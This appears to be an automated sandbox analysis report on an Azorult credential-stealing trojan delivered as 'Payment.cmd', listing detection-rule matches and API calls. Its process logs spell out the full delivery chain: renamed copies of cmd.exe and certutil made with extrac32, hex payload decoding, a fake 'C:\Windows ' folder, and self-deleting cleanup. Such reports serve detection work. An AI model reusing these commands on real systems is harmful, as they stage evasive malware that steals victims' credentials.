            Source: 0000001A.00000002.2390279233.000000002088E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
            Source: 0000001A.00000002.2390279233.000000002088E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
            Source: 00000013.00000001.2243838356.000000000047C000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
            Source: 00000013.00000001.2243838356.000000000047C000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
            Source: 0000000A.00000002.2278953732.0000000021B8F000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
            Source: 0000000A.00000002.2278953732.0000000021B8F000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
            Source: 0000001B.00000001.2363824050.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
            Source: 0000001B.00000001.2363824050.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
            Source: 0000001B.00000001.2363824050.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
            Source: 00000023.00000001.2443186180.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
            Source: 00000023.00000001.2443186180.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
            Source: 00000023.00000001.2443186180.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
            Source: 0000000A.00000002.2278953732.0000000021C29000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
            Source: 0000000A.00000002.2278953732.0000000021C29000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
            Source: 0000001B.00000002.2514012472.0000000000479000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
            Source: 0000001B.00000002.2514012472.0000000000479000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
            Source: 00000013.00000002.2411111146.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
            Source: 00000013.00000002.2411111146.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
            Source: 00000013.00000002.2411111146.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
            Source: 00000013.00000001.2243838356.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
            Source: 00000013.00000001.2243838356.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
            Source: 00000013.00000001.2243838356.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
            Source: 00000023.00000001.2443186180.0000000000479000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
            Source: 00000023.00000001.2443186180.0000000000479000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
            Source: 00000013.00000002.2411111146.000000000047C000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
            Source: 00000013.00000002.2411111146.000000000047C000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
            Source: 0000001A.00000002.2390279233.00000000208AB000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
            Source: 0000001A.00000002.2390279233.00000000208AB000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
            Source: 0000001B.00000002.2514012472.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
            Source: 0000001B.00000002.2514012472.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
            Source: 0000001B.00000002.2514012472.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
            Source: classification engineClassification label: mal100.phis.bank.troj.spyw.evad.winCMD@65/82@2/3
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF432B0 _get_osfhandle,GetConsoleScreenBufferInfo,WriteConsoleW,wcschr,FormatMessageW,GetConsoleScreenBufferInfo,WriteConsoleW,GetStdHandle,FlushConsoleInputBuffer,GetConsoleMode,SetConsoleMode,_getch,SetConsoleMode,GetConsoleScreenBufferInfo,FillConsoleOutputCharacterW,SetConsoleCursorPosition,GetLastError,GetLastError,4_2_00007FF78CF432B0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E6826C GetCurrentThread,GetLastError,#357,OpenThreadToken,GetLastError,GetCurrentProcess,GetLastError,OpenProcessToken,GetLastError,AdjustTokenPrivileges,GetLastError,GetLastError,CloseHandle,CloseHandle,7_2_00007FF6E3E6826C
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF6FB54 memset,GetDiskFreeSpaceExW,??_V@YAXPEAX@Z,4_2_00007FF78CF6FB54
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DC64A8 _wcsnicmp,CoCreateInstance,#357,#357,SysFreeString,SysFreeString,#357,SysStringByteLen,SysAllocStringByteLen,GetDesktopWindow,SysFreeString,SysFreeString,7_2_00007FF6E3DC64A8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E46320 FindResourceW,GetLastError,#357,LoadResource,GetLastError,LockResource,GetLastError,7_2_00007FF6E3E46320
            Source: C:\Windows\System32\extrac32.exeFile created: C:\Users\Public\alpha.exeJump to behavior
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6196:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3648:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:528:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4492:120:WilError_03
            Source: C:\Users\Public\Libraries\uhvutpdX.pifMutant created: \Sessions\1\BaseNamedObjects\UFA7A44E6-9414907A-7A741079-73EC2A4E-31658073
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4508:120:WilError_03
            Source: C:\Users\Public\Libraries\uhvutpdX.pifMutant created: \Sessions\1\BaseNamedObjects\AFA7A44E6-9414907A-7A741079-73EC2A4E-31658073
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\Jump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile read: C:\Users\user\Desktop\desktop.ini
            Source: C:\Windows\System32\extrac32.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
            Source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
            Source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
            Source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: SELECT ALL %s FROM %s WHERE id=$ID;
            Source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: SELECT ALL * FROM %s LIMIT 0;
            Source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
            Source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
            Source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
            Source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: UPDATE %s SET %s WHERE id=$ID;
            Source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
            Source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: SELECT ALL id FROM %s WHERE %s;
            Source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: SELECT ALL id FROM %s;
            Source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
            Source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
            Source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
            Source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
            Source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
            Source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index */ path TEXT, /* Path to page from root */ pageno INTEGER, /* Page number */ pagetype TEXT, /* 'internal', 'leaf' or 'overflow' */ ncell INTEGER, /* Cells on page (0 for overflow) */ payload INTEGER, /* Bytes of payload on this page */ unused INTEGER, /* Bytes of unused space on this page */ mx_payload INTEGER, /* Largest payload size of all cells */ pgoffset INTEGER, /* Offset of page in file */ pgsize INTEGER, /* Size of the page */ schema TEXT HIDDEN /* Database schema being analyzed */);
            Source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
            Source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
            Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Payment.cmd" "
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\extrac32.exe C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
            Source: C:\Users\Public\alpha.exeProcess created: C:\Windows\System32\extrac32.exe extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\Payment.cmd" "C:\\Users\\Public\\AnyDesk.3GP" 3
            Source: C:\Users\Public\alpha.exeProcess created: C:\Users\Public\kn.exe C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\Payment.cmd" "C:\\Users\\Public\\AnyDesk.3GP" 3
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\AnyDesk.3GP" "C:\\Users\\Public\\Libraries\\AnyDesk.PIF" 10
            Source: C:\Users\Public\alpha.exeProcess created: C:\Users\Public\kn.exe C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\AnyDesk.3GP" "C:\\Users\\Public\\Libraries\\AnyDesk.PIF" 10
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\Libraries\AnyDesk.PIF C:\Users\Public\Libraries\AnyDesk.PIF
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\AnyDesk.3GP" / A / F / Q / S
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\uhvutpdX.cmd" "
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl.exe /y C:\Users\Public\Libraries\AnyDesk.PIF /d C:\\Users\\Public\\Libraries\\Xdptuvhu.PIF /o
            Source: C:\Windows\SysWOW64\esentutl.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess created: C:\Users\Public\Libraries\uhvutpdX.pif C:\Users\Public\Libraries\uhvutpdX.pif
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\ping.exe /d C:\\Users\\Public\\xpha.pif /o
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows "
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows \SysWOW64"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10
            Source: C:\Users\Public\alpha.pifProcess created: C:\Users\Public\xpha.pif C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10
            Source: unknownProcess created: C:\Users\Public\Libraries\Xdptuvhu.PIF "C:\Users\Public\Libraries\Xdptuvhu.PIF"
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess created: C:\Users\Public\Libraries\uhvutpdX.pif C:\Users\Public\Libraries\uhvutpdX.pif
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c del "C:\Users\Public\xpha.pif"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \SysWOW64
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \"
            Source: C:\Users\Public\Libraries\uhvutpdX.pifProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "uhvutpdX.pif"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe C:\Windows\system32\timeout.exe 3
            Source: unknownProcess created: C:\Users\Public\Libraries\Xdptuvhu.PIF "C:\Users\Public\Libraries\Xdptuvhu.PIF"
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess created: C:\Users\Public\Libraries\uhvutpdX.pif C:\Users\Public\Libraries\uhvutpdX.pif
            Source: C:\Users\Public\Libraries\uhvutpdX.pifProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "uhvutpdX.pif"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe C:\Windows\system32\timeout.exe 3
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\extrac32.exe C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe" Jump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exeJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\Payment.cmd" "C:\\Users\\Public\\AnyDesk.3GP" 3 Jump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\AnyDesk.3GP" "C:\\Users\\Public\\Libraries\\AnyDesk.PIF" 10 Jump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\Libraries\AnyDesk.PIF C:\Users\Public\Libraries\AnyDesk.PIFJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S Jump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\AnyDesk.3GP" / A / F / Q / S Jump to behavior
            Source: C:\Users\Public\alpha.exeProcess created: C:\Windows\System32\extrac32.exe extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exeJump to behavior
            Source: C:\Users\Public\alpha.exeProcess created: C:\Users\Public\kn.exe C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\Payment.cmd" "C:\\Users\\Public\\AnyDesk.3GP" 3 Jump to behavior
            Source: C:\Users\Public\alpha.exeProcess created: C:\Users\Public\kn.exe C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\AnyDesk.3GP" "C:\\Users\\Public\\Libraries\\AnyDesk.PIF" 10 Jump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\uhvutpdX.cmd" "Jump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl.exe /y C:\Users\Public\Libraries\AnyDesk.PIF /d C:\\Users\\Public\\Libraries\\Xdptuvhu.PIF /oJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess created: C:\Users\Public\Libraries\uhvutpdX.pif C:\Users\Public\Libraries\uhvutpdX.pifJump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /oJump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\ping.exe /d C:\\Users\\Public\\xpha.pif /oJump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows " Jump to behavior
